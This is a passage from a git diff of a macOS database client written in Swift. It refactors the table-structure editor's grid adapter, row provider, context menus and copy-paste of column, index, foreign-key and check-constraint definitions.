-        case .options, .ddl, .parts, .triggers:
-            return nil
         }
     }
 
@@ -259,9 +265,10 @@ final class StructureRowProvider {
     }
 
     private static func buildAllRows(
-        tab: StructureTab,
+        tab: StructureSection,
         changeManager: StructureChangeManager,
-        orderedColumnFields: [StructureColumnField]
+        orderedColumnFields: [StructureColumnField],
+        databaseType: DatabaseType
     ) -> [IndexedRow] {
         switch tab {
         case .columns:
@@ -270,7 +277,7 @@ final class StructureRowProvider {
             }
         case .indexes:
             return changeManager.workingIndexes.enumerated().map { index, indexInfo in
-                IndexedRow(sourceIndex: index, row: row(for: indexInfo))
+                IndexedRow(sourceIndex: index, row: row(for: indexInfo, offersCondition: offersIndexCondition(databaseType)))
             }
         case .foreignKeys:
             return changeManager.workingForeignKeys.enumerated().map { index, fk in
@@ -280,8 +287,6 @@ final class StructureRowProvider {
             return changeManager.workingCheckConstraints.enumerated().map { index, constraint in
                 IndexedRow(sourceIndex: index, row: row(for: constraint))
             }
-        case .options, .ddl, .parts, .triggers:
-            return []
         }
     }
 
@@ -316,20 +321,25 @@ final class StructureRowProvider {
         }
     }
 
-    private static func row(for index: EditableIndexDefinition) -> [String?] {
+    // MySQL and MariaDB have no partial indexes and their DDL drops a WHERE clause, so none is offered.
+    static func offersIndexCondition(_ type: DatabaseType) -> Bool {
+        SQLTypeFamily.of(type) != .mysql
+    }
+
+    private static func row(for index: EditableIndexDefinition, offersCondition: Bool) -> [String?] {
         let columnsStr = index.columns.map { col in
             if let prefix = index.columnPrefixes[col] {
                 return "\(col)(\(prefix))"
             }
             return col
         }.joined(separator: ", ")
-        return [
+        let values: [String?] = [
             index.name,
             columnsStr,
             index.type.rawValue,
-            index.isUnique ? "YES" : "NO",
-            index.whereClause ?? ""
+            index.isUnique ? "YES" : "NO"
         ]
+        return offersCondition ? values + [index.whereClause ?? ""] : values
     }
 
     private static func row(for fk: EditableForeignKeyDefinition) -> [String?] {
@@ -344,15 +354,18 @@ final class StructureRowProvider {
         ]
     }
 
+    // `keeping` stays listed whatever the filter says: a definition being edited never vanishes under the editor.
     private static func applyFilterAndSort(
         _ rows: [IndexedRow],
         filterText: String?,
-        sortDescriptor: StructureSortDescriptor?
+        sortDescriptor: StructureSortDescriptor?,
+        keeping: Set<Int> = []
     ) -> [IndexedRow] {
         var result = rows
 
         if let filterText, !filterText.isEmpty {
             result = result.filter { indexed in
+                if keeping.contains(indexed.sourceIndex) { return true }
                 guard let name = indexed.row.first ?? nil else { return false }
                 return name.localizedCaseInsensitiveContains(filterText)
             }
@@ -372,27 +385,16 @@ final class StructureRowProvider {
 }
 
 extension StructureRowProvider {
-    // A row is named by its index in the working list, so a search, a sort or the grid's value filter
-    // never changes which definition an edit lands on.
-    static func rowID(forSourceIndex index: Int) -> RowID {
-        .existing(index)
-    }
-
-    static func sourceIndex(of rowID: RowID) -> Int? {
-        guard case .existing(let index) = rowID, index >= 0 else { return nil }
-        return index
-    }
-
     func displayRow(ofSourceIndex sourceIndex: Int) -> Int? {
         cachedRows.firstIndex { $0.sourceIndex == sourceIndex }
     }
 
-    func asTableRows() -> TableRows {
+    func asTableRows(rowID: (Int) -> RowID) -> TableRows {
         var rows = ContiguousArray<Row>()
         rows.reserveCapacity(cachedRows.count)
         for indexed in cachedRows {
             rows.append(Row(
-                id: Self.rowID(forSourceIndex: indexed.sourceIndex),
+                id: rowID(indexed.sourceIndex),
                 values: ContiguousArray(indexed.row.map(PluginCellValue.fromOptional))
             ))
         }
diff --git a/apple/TablePro/Views/Structure/StructureSavePlan.swift b/apple/TablePro/Views/Structure/StructureSavePlan.swift
index 1141f328d4..6f2f4950bc 100644
--- a/apple/TablePro/Views/Structure/StructureSavePlan.swift
+++ b/apple/TablePro/Views/Structure/StructureSavePlan.swift
@@ -47,7 +47,9 @@ internal extension StructureEditingSession {
             plan = try await stagedSavePlan(for: changes)
         } catch {
             guard mayPresentPreview(on: coordinator) else { return }
-            coordinator.toolbarState.previewStatements = ["-- Error generating SQL: \(error.localizedDescription)"]
+            coordinator.toolbarState.previewStatements = [
+                String(format: String(localized: "-- Error generating SQL: %@"), error.localizedDescription)
+            ]
             coordinator.activeSheet = .sqlPreview
             return
         }
diff --git a/apple/TablePro/Views/Structure/StructureGridAdapter+Menus.swift b/apple/TablePro/Views/Structure/StructureSectionAdapter+Menus.swift
similarity index 69%
rename from apple/TablePro/Views/Structure/StructureGridAdapter+Menus.swift
rename to apple/TablePro/Views/Structure/StructureSectionAdapter+Menus.swift
index 65447cc5ee..553d944eb5 100644
--- a/apple/TablePro/Views/Structure/StructureGridAdapter+Menus.swift
+++ b/apple/TablePro/Views/Structure/StructureSectionAdapter+Menus.swift
@@ -1,20 +1,20 @@
 //
-//  StructureGridAdapter+Menus.swift
+//  StructureSectionAdapter+Menus.swift
 //  TablePro
 //
 
 import AppKit
 import TableProPluginKit
 
-extension StructureGridAdapter {
+extension StructureSectionAdapter {
     // The grid adds Copy, Duplicate, Delete and Undo Delete from its commands; these are the schema's own.
     // The copies act on every targeted row, Open and the moves on the clicked one; nil when that is not known.
-    func structureRowMenuItems(for rowIDs: [RowID], clickedRow: RowID?) -> [NSMenuItem] {
-        guard showsGrid, !rowIDs.isEmpty else { return [] }
+    func rowMenuItems(for rowIDs: [RowID], clickedRow: RowID?) -> [NSMenuItem] {
+        guard !rowIDs.isEmpty else { return [] }
         let indices = sourceIndices(of: rowIDs)
-        let tab = selectedTab
-        let clicked = clickedRow.flatMap(StructureRowProvider.sourceIndex(of:))
-        if let clicked, structureChangeManager.deleteInsertState(for: clicked, tab: tab).isDeleted {
+        let tab = section
+        let clicked = clickedRow.flatMap(sourceIndex(of:))
+        if let clicked, manager.deleteInsertState(for: clicked, tab: tab).isDeleted {
             return []
         }
 
@@ -24,8 +24,8 @@ extension StructureGridAdapter {
             copyAsItem(indices),
         ]
 
-        if tab == .foreignKeys, let clicked, structureChangeManager.workingForeignKeys.indices.contains(clicked) {
-            let referenced = structureChangeManager.workingForeignKeys[clicked].referencedTable
+        if tab == .foreignKeys, let clicked, manager.workingForeignKeys.indices.contains(clicked) {
+            let referenced = manager.workingForeignKeys[clicked].referencedTable
             if !referenced.isEmpty {
                 items.append(.separator())
                 items.append(menuItem(String(format: String(localized: "Open %@"), referenced)) { [weak self] in
@@ -44,10 +44,10 @@ extension StructureGridAdapter {
 
     // Moving by menu gives the keyboard and VoiceOver the reorder a drag gives the pointer.
     private func columnMoveItems(movingRow row: Int?) -> [NSMenuItem] {
-        guard selectedTab == .columns else { return [] }
+        guard section == .columns, !context.isCreatingTable else { return [] }
         let reorder = model.configuration.rowReorder
         guard reorder.isEnabled || reorder.unavailableReason != nil else { return [] }
-        let count = structureChangeManager.workingColumns.count
+        let count = manager.workingColumns.count
         var items = [
             columnMoveItem(String(localized: "Move Column Up"), row: row, .up, count: count, isEnabled: reorder.isEnabled),
             columnMoveItem(String(localized: "Move Column Down"), row: row, .down, count: count, isEnabled: reorder.isEnabled),
@@ -70,7 +70,7 @@ extension StructureGridAdapter {
             return NSMenuItem(title: title, action: nil, keyEquivalent: "")
         }
         return menuItem(title) { [weak self] in
-            self?.moveRowHandler?(row, ColumnMove.dropIndex(movingRow: row, direction))
+            self?.editor?.moveColumn(from: row, to: ColumnMove.dropIndex(movingRow: row, direction))
         }
     }
 
@@ -84,30 +84,6 @@ extension StructureGridAdapter {
         return item
     }
 
-    func makeEmptySpaceMenu() -> NSMenu? {
-        guard showsGrid, editGate.canEditSchema else { return nil }
-        let label: String
-        switch selectedTab {
-        case .columns:
-            guard editGate.allows(.addColumn) else { return nil }
-            label = String(localized: "Add Column")
-        case .indexes:
-            guard editGate.allows(.addIndex) else { return nil }
-            label = String(localized: "Add Index")
-        case .foreignKeys:
-            guard canEditForeignKeys else { return nil }
-            label = String(localized: "Add Foreign Key")
-        case .checkConstraints:
-            guard editGate.allows(.addCheckConstraint) else { return nil }
-            label = String(localized: "Add Check Constraint")
-        case .options, .ddl, .parts, .triggers:
-            return nil
-        }
-        let menu = NSMenu()
-        menu.addItem(menuItem(label) { [weak self] in self?.addRow() })
-        return menu
-    }
-
     private func menuItem(_ title: String, action: @escaping () -> Void) -> NSMenuItem {
         let target = StructureMenuTarget(action: action)
         let item = NSMenuItem(title: title, action: #selector(StructureMenuTarget.runAction), keyEquivalent: "")
@@ -120,11 +96,11 @@ extension StructureGridAdapter {
 
     private func unsortedProvider(includingPrimaryKey: Bool) -> StructureRowProvider {
         StructureRowProvider(
-            changeManager: structureChangeManager,
-            tab: selectedTab,
-            databaseType: connection.type,
+            changeManager: manager,
+            tab: section,
+            databaseType: context.databaseType,
             additionalFields: includingPrimaryKey ? [.primaryKey] : [],
-            serverSupport: session?.serverSupport ?? .unrestricted
+            serverSupport: serverSupport
         )
     }
 
@@ -136,33 +112,31 @@ extension StructureGridAdapter {
     }
 
     func copyDefinitions(_ indices: [Int]) {
-        guard let driver = DatabaseManager.shared.driver(for: connection.id) else { return }
+        guard let driver = DatabaseManager.shared.driver(for: context.connection.id) else { return }
         var definitions: [String] = []
         for index in indices.sorted() {
-            switch selectedTab {
+            switch section {
             case .columns:
-                guard structureChangeManager.workingColumns.indices.contains(index),
-                      let sql = driver.generateColumnDefinitionSQL(column: structureChangeManager.workingColumns[index].toPlugin())
+                guard manager.workingColumns.indices.contains(index),
+                      let sql = driver.generateColumnDefinitionSQL(column: manager.workingColumns[index].toPlugin())
                 else { continue }
                 definitions.append(sql)
             case .indexes:
-                guard structureChangeManager.workingIndexes.indices.contains(index),
+                guard manager.workingIndexes.indices.contains(index),
                       let sql = driver.generateIndexDefinitionSQL(
-                          index: structureChangeManager.workingIndexes[index].toPlugin(), tableName: tableName
+                          index: manager.workingIndexes[index].toPlugin(), tableName: context.tableName
                       )
                 else { continue }
                 definitions.append(sql)
             case .foreignKeys:
-                guard structureChangeManager.workingForeignKeys.indices.contains(index),
-                      let sql = driver.generateForeignKeyDefinitionSQL(fk: structureChangeManager.workingForeignKeys[index].toPlugin())
+                guard manager.workingForeignKeys.indices.contains(index),
+                      let sql = driver.generateForeignKeyDefinitionSQL(fk: manager.workingForeignKeys[index].toPlugin())
                 else { continue }
                 definitions.append(sql)
             case .checkConstraints:
-                guard structureChangeManager.workingCheckConstraints.indices.contains(index) else { continue }
-                let constraint = structureChangeManager.workingCheckConstraints[index]
+                guard manager.workingCheckConstraints.indices.contains(index) else { continue }
+                let constraint = manager.workingCheckConstraints[index]
                 definitions.append("CONSTRAINT \(driver.quoteIdentifier(constraint.name)) CHECK (\(constraint.expression))")
-            case .options, .ddl, .parts, .triggers:
-                break
             }
         }
         guard !definitions.isEmpty else { return }
@@ -199,22 +173,14 @@ extension StructureGridAdapter {
         ClipboardService.shared.writeText(json)
     }
 
-    // The grid's own Copy reaches the definitions too, so a paste in this tab stages them again.
-    func gridCopyRows(_ rowIDs: [RowID]) -> Bool {
-        guard showsGrid, !rowIDs.isEmpty else { return false }
-        copyRows(rowIDs)
-        return true
-    }
-
     // The definitions ride on the structure pasteboard type, so Paste can stage them again.
-    func copyRows(_ rowIDs: [RowID]) {
-        guard showsGrid, !rowIDs.isEmpty else { return }
+    func copyRows(_ rowIDs: [RowID], to pasteboard: NSPasteboard = .general) {
+        guard !rowIDs.isEmpty else { return }
         let ordered = rowIDs.sorted { (model.displayIndex(of: $0) ?? .max) < (model.displayIndex(of: $1) ?? .max) }
         let indices = sourceIndices(of: ordered)
-        let manager = structureChangeManager
         let encoder = JSONEncoder()
         let encoded: Data?
-        switch selectedTab {
+        switch section {
         case .columns:
             encoded = try? encoder.encode(indices.sorted().compactMap { manager.workingColumns.indices.contains($0) ? manager.workingColumns[$0] : nil })
         case .indexes:
@@ -227,8 +193,6 @@ extension StructureGridAdapter {
             encoded = try? encoder.encode(indices.sorted().compactMap {
                 manager.workingCheckConstraints.indices.contains($0) ? manager.workingCheckConstraints[$0] : nil
             })
-        case .options, .ddl, .parts, .triggers:
-            encoded = nil
         }
 
         let rows = model.rows
@@ -238,23 +202,30 @@ extension StructureGridAdapter {
 
         let item = NSPasteboardItem()
         if let encoded, let json = String(data: encoded, encoding: .utf8) {
-            item.setString(json, forType: TableStructureView.structurePasteboardType)
-            item.setString(connection.type.rawValue, forType: TableStructureView.structureSourceTypePasteboardType)
+            item.setString(json, forType: StructurePasteboard.definitionsType)
+            item.setString(context.databaseType.rawValue, forType: StructurePasteboard.sourceDatabaseType)
         }
         if !lines.isEmpty {
             item.setString(lines.joined(separator: "\n"), forType: .string)
         }
         guard !item.types.isEmpty else { return }
-        NSPasteboard.general.clearContents()
-        NSPasteboard.general.writeObjects([item])
+        pasteboard.clearContents()
+        pasteboard.writeObjects([item])
+    }
+
+    // Pasting several definitions is one undo step.
+    func pasteRows(from pasteboard: NSPasteboard = .general) {
+        guard canEdit, canAdd, let data = pasteboard.data(forType: StructurePasteboard.definitionsType) else { return }
+        let source = pasteboard.string(forType: StructurePasteboard.sourceDatabaseType).map(DatabaseType.init(rawValue:))
+        manager.performAsOneUndoStep {
+            stagePasted(data, from: source)
+        }
+        editor?.definitionsDidChange()
     }
 
-    func pasteRows() {
-        guard canStageAddForSelectedTab,
-              let data = NSPasteboard.general.data(forType: TableStructureView.structurePasteboardType) else { return }
+    private func stagePasted(_ data: Data, from source: DatabaseType?) {
         let decoder = JSONDecoder()
-        let manager = structureChangeManager
-        switch selectedTab {
+        switch section {
         case .columns:
             guard let columns = try? decoder.decode([EditableColumnDefinition].self, from: data) else { return }
             for column in columns {
@@ -262,11 +233,8 @@ extension StructureGridAdapter {
             }
         case .indexes:
             guard let indexes = try? decoder.decode([EditableIndexDefinition].self, from: data) else { return }
-            let source = NSPasteboard.general
-                .string(forType: TableStructureView.structureSourceTypePasteboardType)
-                .map(DatabaseType.init(rawValue:))
             for index in indexes {
-                manager.addIndex(index.pasted(from: source, into: connection.type))
+                manager.addIndex(index.pasted(from: source, into: context.databaseType))
             }
         case .foreignKeys:
             guard let foreignKeys = try? decoder.decode([EditableForeignKeyDefinition].self, from: data) else { return }
@@ -278,10 +246,16 @@ extension StructureGridAdapter {
             for constraint in constraints {
                 manager.addCheckConstraint(constraint.withNewIdentity())
             }
-        case .options, .ddl, .parts, .triggers:
-            return
         }
-        refresh()
+    }
+}
+
+enum StructurePasteboard {
+    static let definitionsType = NSPasteboard.PasteboardType("com.TablePro.structure")
+    static let sourceDatabaseType = NSPasteboard.PasteboardType("com.TablePro.structure.database-type")
+
+    static var canPaste: Bool {
+        NSPasteboard.general.data(forType: definitionsType) != nil
     }
 }
 
diff --git a/apple/TablePro/Views/Structure/StructureSectionAdapter.swift b/apple/TablePro/Views/Structure/StructureSectionAdapter.swift
new file mode 100644
index 0000000000..fb6f4082a3
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureSectionAdapter.swift
@@ -0,0 +1,517 @@
+//
+//  StructureSectionAdapter.swift
+//  TablePro
+//
+
+import AppKit
+import TableProPluginKit
+
+// Feeds one section's grid from the working definitions and writes its edits back. A row is named by its
+// definition's id, so a reload, a sort, a filter or a removed row above it never moves the selection.
+@MainActor
+final class StructureSectionAdapter {
+    let section: StructureSection
+    let model: DataGridModel
+    let store: StructureGridStateStore
+    let manager: StructureChangeManager
+    let context: StructureEditingContext
+    let referenceMenus: ForeignKeyReferenceMenus
+
+    weak var editor: StructureDefinitionEditor?
+
+    private(set) var provider: StructureRowProvider
+    private var snapshot = StructureGridSnapshot()
+    private var identities = StructureRowIdentities()
+    private var sortDescriptor: StructureSortDescriptor?
+    private let changeTracking: StructureGridChangeState
+    private let changeState: AnyChangeManager
+
+    init(
+        section: StructureSection,
+        manager: StructureChangeManager,
+        context: StructureEditingContext,
+        referenceMenus: ForeignKeyReferenceMenus,
+        defaults: UserDefaults = AppStorageEnvironment.shared.defaults
+    ) {
+        self.section = section
+        self.manager = manager
+        self.context = context
+        self.referenceMenus = referenceMenus
+        let store = StructureGridStateStore(section: section, defaults: defaults)
+        self.store = store
+        self.model = DataGridModel(store: store)
+        self.changeTracking = StructureGridChangeState(manager: manager, section: section)
+        self.changeState = AnyChangeManager(changeTracking)
+        self.provider = StructureRowProvider(
+            changeManager: manager,
+            tab: section,
+            databaseType: context.databaseType,
+            additionalFields: [.primaryKey],
+            serverSupport: .unrestricted
+        )
+        model.dataSource = self
+        model.actions = self
+    }
+
+    // MARK: - State
+
+    var serverSupport: StructureServerSupport { editor?.serverSupport ?? .unrestricted }
+    private var searchText: String { editor?.searchText ?? "" }
+    private var coordinator: MainContentCoordinator? { editor?.coordinator }
+
+    var characterSetContext: ColumnCharacterSetMenus.Context {
+        editor?.characterSetContext ?? ColumnCharacterSetMenus.Context(catalog: .idle, tableCharacterSet: nil)
+    }
+
+    var canAdd: Bool { context.allows(context.addOperation(for: section)) }
+    var canRemove: Bool { context.allows(context.removeOperation(for: section)) }
+
+    var canEdit: Bool {
+        guard !manager.isHeldForSave, editor?.isReadOnly != true, editor?.isAwaitingBaseline != true else { return false }
+        return context.isCreatingTable || context.editGate.allowsAnyEdit
+    }
+
+    var editRefusal: String? {
+        if manager.isHeldForSave { return StructureFooterPolicy.savingReason }
+        if editor?.isAwaitingBaseline == true { return String(localized: "The table is being read again after the save.") }
+        if editor?.isReadOnly == true { return editor?.readOnlyReason }
+        guard !context.isCreatingTable, !context.editGate.allowsAnyEdit else { return nil }
+        return context.editGate.resolve(.renameColumn).unavailableReason
+    }
+
+    var lockedFieldIndices: Set<Int> {
+        guard !context.isCreatingTable else { return [] }
+        return context.editGate.lockedFieldIndices(
+            on: section,
+            orderedFields: provider.orderedColumnFields,
+            fieldCount: provider.columns.count
+        )
+    }
+
+    var columnReorderAvailability: ColumnReorderAvailability {
+        ColumnReorderPolicy.resolve(
+            support: PluginManager.shared.columnReorderSupport(for: context.databaseType),
+            engineName: context.databaseType.displayName,
+            isColumnsTab: section == .columns && !context.isCreatingTable,
+            kindRefusal: context.editGate.kindRefusal(.reorderColumns),
+            canEditSchema: context.editGate.canEditSchema && editor?.isReadOnly != true,
+            hasStagedChanges: manager.hasChanges,
+            isRearranged: !searchText.isEmpty || sortDescriptor != nil || store.valueFilter.isActive
+        )
+    }
+
+    var rowCount: Int { StructureGridEdits.rowCount(on: section, manager: manager) }
+
+    var visibleRowCount: Int { snapshot.rows.rows.count }
+
+    // MARK: - Identity
+
+    func rowID(forEntity id: UUID) -> RowID {
+        identities.rowID(for: id)
+    }
+
+    func entityID(of rowID: RowID) -> UUID? {
+        identities.entityID(of: rowID)
+    }
+
+    func sourceIndex(of rowID: RowID) -> Int? {
+        guard let id = identities.entityID(of: rowID) else { return nil }
+        return StructureGridEdits.sourceIndex(of: id, in: section, manager: manager)
+    }
+
+    func sourceIndices(of rowIDs: [RowID]) -> [Int] {
+        rowIDs.compactMap(sourceIndex(of:))
+    }
+
+    var selectedEntityIDs: [UUID] {
+        model.selection.affectedRows.compactMap { model.rowID(at: $0) }.compactMap(entityID(of:))
+    }
+
+    func select(entity id: UUID) {
+        model.selectRows([rowID(forEntity: id)])
+    }
+
+    // MARK: - Refresh
+
+    func refresh() {
+        let entityIDs = StructureGridEdits.entityIDs(in: section, manager: manager)
+        let rowIDs = entityIDs.map { identities.rowID(for: $0) }
+        changeTracking.rowIDs = rowIDs
+        let selected = Set(selectedEntityIDs)
+        let keptIndices = Set(entityIDs.indices.filter { selected.contains(entityIDs[$0]) })
+
+        let provider = StructureRowProvider(
+            changeManager: manager,
+            tab: section,
+            databaseType: context.databaseType,
+            additionalFields: [.primaryKey],
+            serverSupport: serverSupport,
+            filterText: searchText.isEmpty ? nil : searchText,
+            sortDescriptor: sortDescriptor,
+            picksCharacterSets: ColumnCharacterSetMenus.offersMenus(characterSetContext.catalog),
+            keepingSourceIndices: keptIndices
+        )
+        self.provider = provider
+        let rows = provider.asTableRows { rowIDs.indices.contains($0) ? rowIDs[$0] : .existing(-1) }
+        let states = provider.filteredToSourceMap.map { sourceIndex in
+            StructureGridEdits.visualState(
+                sourceIndex: sourceIndex,
+                tab: section,
+                manager: manager,
+                orderedFields: provider.orderedColumnFields,
+                tintsModifiedFields: !context.isCreatingTable
+            )
+        }
+        model.configuration = makeConfiguration(provider: provider)
+        let previous = snapshot
+        snapshot = StructureGridSnapshot(rows: rows, states: states)
+        model.applyHeldSnapshot(from: previous, to: snapshot)
+    }
+
+    private func makeConfiguration(provider: StructureRowProvider) -> DataGridConfiguration {
+        var configuration = DataGridConfiguration()
+        let checkboxes = provider.booleanColumns
+        let options = provider.customDropdownOptions.filter { !checkboxes.contains($0.key) }
+        configuration.checkboxColumns = checkboxes
+        configuration.dropdownColumns = provider.dropdownColumns.subtracting(checkboxes)
+        configuration.typePickerColumns = provider.typePickerColumns
+        configuration.customDropdownOptions = options.isEmpty ? nil : options
+        configuration.marksEmptyText = false
+        configuration.lockedColumns = lockedColumns(provider: provider)
+        configuration.editRefusalMessage = editRefusal
+        configuration.isEditable = canEdit
+        configuration.fitsRows = true
+        configuration.traits = DataGridEngineTraits(
+            databaseType: context.databaseType,
+            connectionScope: DatabaseScope(
+                connectionId: context.connection.id, database: context.databaseName, schema: context.schemaName
+            ),
+            looksUpUserDefinedTypes: true
+        )
+        let reorder = columnReorderAvailability
+        configuration.rowReorder = DataGridRowReorder(
+            isEnabled: reorder.isAvailable,
+            unavailableReason: section == .columns && !context.isCreatingTable ? reorder.unavailableReason : nil
+        )
+        configuration.commands = commands(reorderAvailable: reorder.isAvailable)
+        return configuration
+    }
+
+    private func commands(reorderAvailable: Bool) -> Set<DataGridCommand> {
+        // Hide Column and Show All Columns bring back the fields a section starts with hidden.
+        var commands: Set<DataGridCommand> = [.valueFilter, .hideColumns]
+        guard canEdit else { return commands }
+        if canAdd {
+            commands.formUnion([.addRow, .duplicateRows, .pasteRows])
+        }
+        if canRemove {
+            commands.formUnion([.deleteRows, .undoDelete])
+        }
+        if reorderAvailable {
+            commands.insert(.moveRows)
+        }
+        return commands
+    }
+
+    private func lockedColumns(provider: StructureRowProvider) -> Set<String> {
+        let headings = provider.columns
+        return Set(lockedFieldIndices.compactMap { headings.indices.contains($0) ? headings[$0] : nil })
+    }
+
+    // MARK: - Menus
+
+    func menuOptions(sourceIndex: Int, field: Int) -> [GridMenuOption]? {
+        switch section {
+        case .indexes:
+            guard manager.workingIndexes.indices.contains(sourceIndex) else { return nil }
+            return StructureRowProvider.indexMenuOptions(
+                columnIndex: field,
+                index: manager.workingIndexes[sourceIndex],
+                serverSupport: serverSupport
+            )
+        case .foreignKeys:
+            guard context.allows(.addForeignKey), manager.workingForeignKeys.indices.contains(sourceIndex) else { return nil }
+            referenceMenus.origin = context.scope
+            return referenceMenus.options(
+                columnIndex: field,
+                foreignKey: manager.workingForeignKeys[sourceIndex],
+                tableColumns: manager.workingColumns.map(\.name)
+            )
+        case .columns:
+            guard manager.workingColumns.indices.contains(sourceIndex),
+                  provider.orderedColumnFields.indices.contains(field) else { return nil }
+            return ColumnCharacterSetMenus.options(
+                for: provider.orderedColumnFields[field],
+                column: manager.workingColumns[sourceIndex],
+                context: characterSetContext
+            )
+        case .checkConstraints:
+            return nil
+        }
+    }
+
+    // Read-only per row, which the column-wide lock cannot say: a type with no character set, or a catalog not read.
+    func characterSetLockedFields(sourceIndex: Int) -> Set<Int> {
+        guard section == .columns, manager.workingColumns.indices.contains(sourceIndex) else { return [] }
+        return ColumnCharacterSetMenus.lockedFieldIndices(
+            orderedFields: provider.orderedColumnFields,
+            column: manager.workingColumns[sourceIndex],
+            catalog: characterSetContext.catalog
+        )
+    }
+
+    // Opening the menu is the retry, as it is for the reference menus.
+    func readCharacterSetCatalogIfNeeded(field: Int) {
+        guard section == .columns, provider.orderedColumnFields.indices.contains(field),
+              ColumnCharacterSetMenus.isCharacterSetField(provider.orderedColumnFields[field]) else { return }
+        editor?.readCharacterSetCatalogIfNeeded()
+    }
+
+    // MARK: - Edits
+
+    @discardableResult
+    func applyEdit(rowID: RowID, field: Int, text: String) -> Bool {
+        guard canEdit, let sourceIndex = sourceIndex(of: rowID) else { return false }
+        let applied = write(text, field: field, sourceIndex: sourceIndex)
+        editor?.definitionsDidChange(in: section)
+        return applied
+    }
+
+    @discardableResult
+    func applyEdit(entity id: UUID, field: Int, text: String) -> Bool {
+        applyEdit(rowID: rowID(forEntity: id), field: field, text: text)
+    }
+
+    private func write(_ text: String, field: Int, sourceIndex: Int) -> Bool {
+        let characterSets = characterSetContext
+        guard field >= 0,
+              !lockedFieldIndices.contains(field),
+              !manager.deleteInsertState(for: sourceIndex, tab: section).isDeleted,
+              !StructureGridEdits.refuses(
+                  text,
+                  field: field,
+                  sourceIndex: sourceIndex,
+                  tab: section,
+                  manager: manager,
+                  orderedFields: provider.orderedColumnFields,
+                  characterSets: characterSets
+              ) else { return false }
+        let changedReference = StructureGridEdits.apply(
+            text,
+            field: field,
+            sourceIndex: sourceIndex,
+            tab: section,
+            manager: manager,
+            orderedFields: provider.orderedColumnFields,
+            connection: context.connection,
+            characterSets: characterSets
+        )
+        if let changedReference {
+            referenceMenus.origin = context.scope
+            referenceMenus.prefetchReferencedColumns(
+                of: changedReference.referencedTable, schema: changedReference.referencedSchema
+            )
+        }
+        return true
+    }
+
+    func addRow() {
+        guard canEdit, canAdd else { return }
+        StructureGridEdits.addRow(on: section, manager: manager)
+        editor?.definitionsDidChange()
+        if let id = StructureGridEdits.entityIDs(in: section, manager: manager).last {
+            editor?.reveal(section: section, entity: id)
+        }
+    }
+
+    func deleteRows(_ rowIDs: [RowID]) {
+        guard canEdit, canRemove, !rowIDs.isEmpty else { return }
+        let displayRows = IndexSet(rowIDs.compactMap { model.displayIndex(of: $0) })
+        let countBefore = model.rowCount
+        StructureGridEdits.delete(sourceIndices: sourceIndices(of: rowIDs), tab: section, manager: manager)
+        editor?.definitionsDidChange()
+        selectAfterDeleting(displayRows, countBefore: countBefore)
+    }
+
+    private func selectAfterDeleting(_ displayRows: IndexSet, countBefore: Int) {
+        let remaining = model.rowCount
+        guard remaining > 0, let minRow = displayRows.first, let maxRow = displayRows.last else {
+            model.clearSelection()
+            return
+        }
+        // Deleting an existing definition keeps its row (struck through); the selection stays on it.
+        guard remaining < countBefore else { return }
+        let removed = countBefore - remaining
+        let target = maxRow - removed + 1 < remaining ? maxRow - removed + 1 : (minRow > 0 ? minRow - 1 : 0)
+        guard let rowID = model.rowID(at: min(max(target, 0), remaining - 1)) else {
+            model.clearSelection()
+            return
+        }
+        model.selectRows([rowID])
+    }
+
+    func duplicateRows(_ rowIDs: [RowID]) {
+        guard canEdit, canAdd else { return }
+        StructureGridEdits.duplicate(sourceIndices: sourceIndices(of: rowIDs), tab: section, manager: manager)
+        editor?.definitionsDidChange()
+    }
+
+    func undoDelete(_ rowIDs: [RowID]) {
+        let ids = rowIDs.compactMap(entityID(of:))
+        manager.performAsOneUndoStep {
+            for id in ids {
+                manager.undoDelete(section: section, id: id)
+            }
+        }
+        editor?.definitionsDidChange()
+    }
+
+    func navigateToForeignKey(sourceIndex: Int) {
+        guard manager.workingForeignKeys.indices.contains(sourceIndex), let coordinator else { return }
+        let foreignKey = manager.workingForeignKeys[sourceIndex]
+        let target = ForeignKeyTargetScope.resolve(
+            origin: context.scope, referencedSchema: foreignKey.referencedSchema, databaseType: context.databaseType
+        )
+        coordinator.openTableTab(foreignKey.referencedTable, schema: target.schema, database: target.database)
+    }
+
+    func sortDidChange(_ sort: SortState) {
+        if let primary = sort.columns.first {
+            sortDescriptor = StructureSortDescriptor(column: primary.columnIndex, ascending: primary.direction == .ascending)
+            store.sortState = SortState(columns: [primary], source: .user)
+        } else {
+            sortDescriptor = nil
+            store.sortState = SortState(columns: [], source: .user)
+        }
+        refresh()
+    }
+}
+
+// MARK: - DataGridDataSource
+
+extension StructureSectionAdapter: DataGridDataSource {
+    var gridRows: TableRows { snapshot.rows }
+    var gridChangeState: AnyChangeManager { changeState }
+
+    func gridVisualState(for rowID: RowID) -> RowVisualState? {
+        snapshot.state(for: rowID)
+    }
+
+    func gridCheckboxState(for rowID: RowID, column: DataGridColumn) -> Bool? {
+        guard provider.booleanColumns.contains(column.dataIndex),
+              let row = snapshot.rows.row(withID: rowID), column.dataIndex < row.values.count else { return nil }
+        return row.values[column.dataIndex].asText == "YES"
+    }
+
+    func gridMenuOptions(for rowID: RowID, column: DataGridColumn) -> [GridMenuOption]? {
+        guard let sourceIndex = sourceIndex(of: rowID) else { return nil }
+        let options = menuOptions(sourceIndex: sourceIndex, field: column.dataIndex)
+        readCharacterSetCatalogIfNeeded(field: column.dataIndex)
+        return options
+    }
+}
+
+// MARK: - DataGridActions
+
+extension StructureSectionAdapter: DataGridActions {
+    func gridCommit(_ edits: [DataGridResolvedEdit], actionName: String) -> Bool {
+        guard canEdit, !edits.isEmpty else { return false }
+        var applied = false
+        manager.performAsOneUndoStep {
+            for edit in edits {
+                guard let sourceIndex = sourceIndex(of: edit.rowID) else { continue }
+                if write(edit.newValue.asText ?? "", field: edit.dataIndex, sourceIndex: sourceIndex) {
+                    applied = true
+                }
+            }
+        }
+        editor?.definitionsDidChange()
+        return applied
+    }
+
+    func gridSetCheckbox(_ isOn: Bool, rowIDs: [RowID], column: DataGridColumn) {
+        guard canEdit, provider.booleanColumns.contains(column.dataIndex) else { return }
+        manager.performAsOneUndoStep {
+            for rowID in rowIDs {
+                guard let sourceIndex = sourceIndex(of: rowID) else { continue }
+                _ = write(isOn ? "YES" : "NO", field: column.dataIndex, sourceIndex: sourceIndex)
+            }
+        }
+        editor?.definitionsDidChange()
+    }
+
+    func gridDeleteRows(_ rowIDs: [RowID]) {
+        deleteRows(rowIDs)
+    }
+
+    func gridUndoDelete(_ rowIDs: [RowID]) {
+        undoDelete(rowIDs)
+    }
+
+    func gridAddRow() {
